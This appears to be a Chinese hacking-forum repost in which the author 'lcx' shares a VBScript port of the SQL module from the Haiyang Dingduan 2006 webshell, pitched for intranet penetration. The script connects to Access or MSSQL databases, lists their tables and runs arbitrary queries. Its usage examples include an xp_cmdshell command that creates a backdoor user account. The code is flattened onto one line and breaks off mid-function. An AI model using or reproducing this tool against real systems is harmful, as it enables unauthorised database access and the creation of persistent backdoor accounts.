| 关键词: wscript Chr rsColumn arguments rsTable echo Space sql 34 sqlStr |
作者:lcx '花了一点时间把以前的海阳顶端2006的sql模块改成vbs版了,和它的功能是一模一样的,不过用起来可能没有asp版的舒服,不过能用,可以用在dos下了,渗透内网时估计你用得着。 if (lcase(right(wscript.fullname,11))="wscript.exe") thenecho "Execute it under the cmd.exe Plz! Thx."echo "code by lcx"wscript.quitend If if wscript.arguments.count<1 thenecho "Usage: cscript sql.vbs showTables e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;"echo "usage: cscript sql.vbs query 连接字符串 <表名=default:""""> sql语句 <页数=default:1>"echo "exp:cscript sql.vbs showTables "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"select * from name"&chr(34)&Space(1) & 1echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"update....."&chr(34)&Space(1) & 1echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"exec master.dbo.xp_cmdshell 'net user ice hacker /add'--"&chr(34)&Space(1) & 1end If Sub chkErr(Err)If Err Thenecho "错误: " & Err.Description & "错误源: " & Err.Source & vbcrlfErr.Clearwscript.quitEnd IfEnd Sub Sub echo(str)wscript.echo strEnd Sub Function fixNull(str)If IsNull(str) Thenstr = " "End IffixNull = strEnd Function Sub showErr(str)Dim i, arrayStrarrayStr = Split(str, "$$")echo "出错信息:"&vbcrlfFor i = 0 To UBound(arrayStr)echo (i + 1) & ". " & arrayStr(i) & "<br/>"Nextecho vbcrlfwscript.quitEnd Sub Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Rem 下面是程序模块选择部分Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-PageMsDataBase()Sub pageMsDataBase()Dim theAct, sqlStrtheAct = Wscript.Arguments(0)sqlStr = Wscript.Arguments(1) Select Case theActCase "showTables"showTables()Case "query"showQuery() End Select End Sub Sub showTables() Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStrsqlStr = Wscript.Arguments(1)If LCase(Left(sqlStr, 4)) = "sql:" ThenconnStr = Mid(sqlStr, 5)ElseconnStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStrEnd IfSet conn = CreateObject("Adodb.Connection") conn.Open connStrchkErr(Err) tablesStr = getTableList(conn, sqlStr, rsTable) echo tablesStr & "=================================================" Do Until rsTable.EofSet rsColumn = conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value))echo rsTable("Table_Name") &vbcrlf Do Until rsColumn.Eof echo "字段名:" & rsColumn("Column_Name")&vbclrfecho "类型:" & getDataType(rsColumn("Data_Type")) & vbclrfecho "大小:" & rsColumn("Character_Maximum_Length") & vbclrfecho "精度:" & rsColumn("Numeric_Precision") & vbclrfecho "允许为空:" & rsColumn("Is_Nullable") & vbclrfecho "默认值:" & rsColumn("Column_Default") & vbclrf&vbclrfrsColumn.MoveNext Loop rsTable.MoveNextecho vbcrlfLoop echo "===============================================================" conn.CloseSet conn = NothingSet rsTable = NothingSet rsColumn = NothingEnd Sub Sub showQuery() Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable sqlStr = Wscript.Arguments(1)theTable = Wscript.Arguments(2)sql=Wscript.Arguments(3)page=Wscript.Arguments(4) If Not IsNumeric(page) or page |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|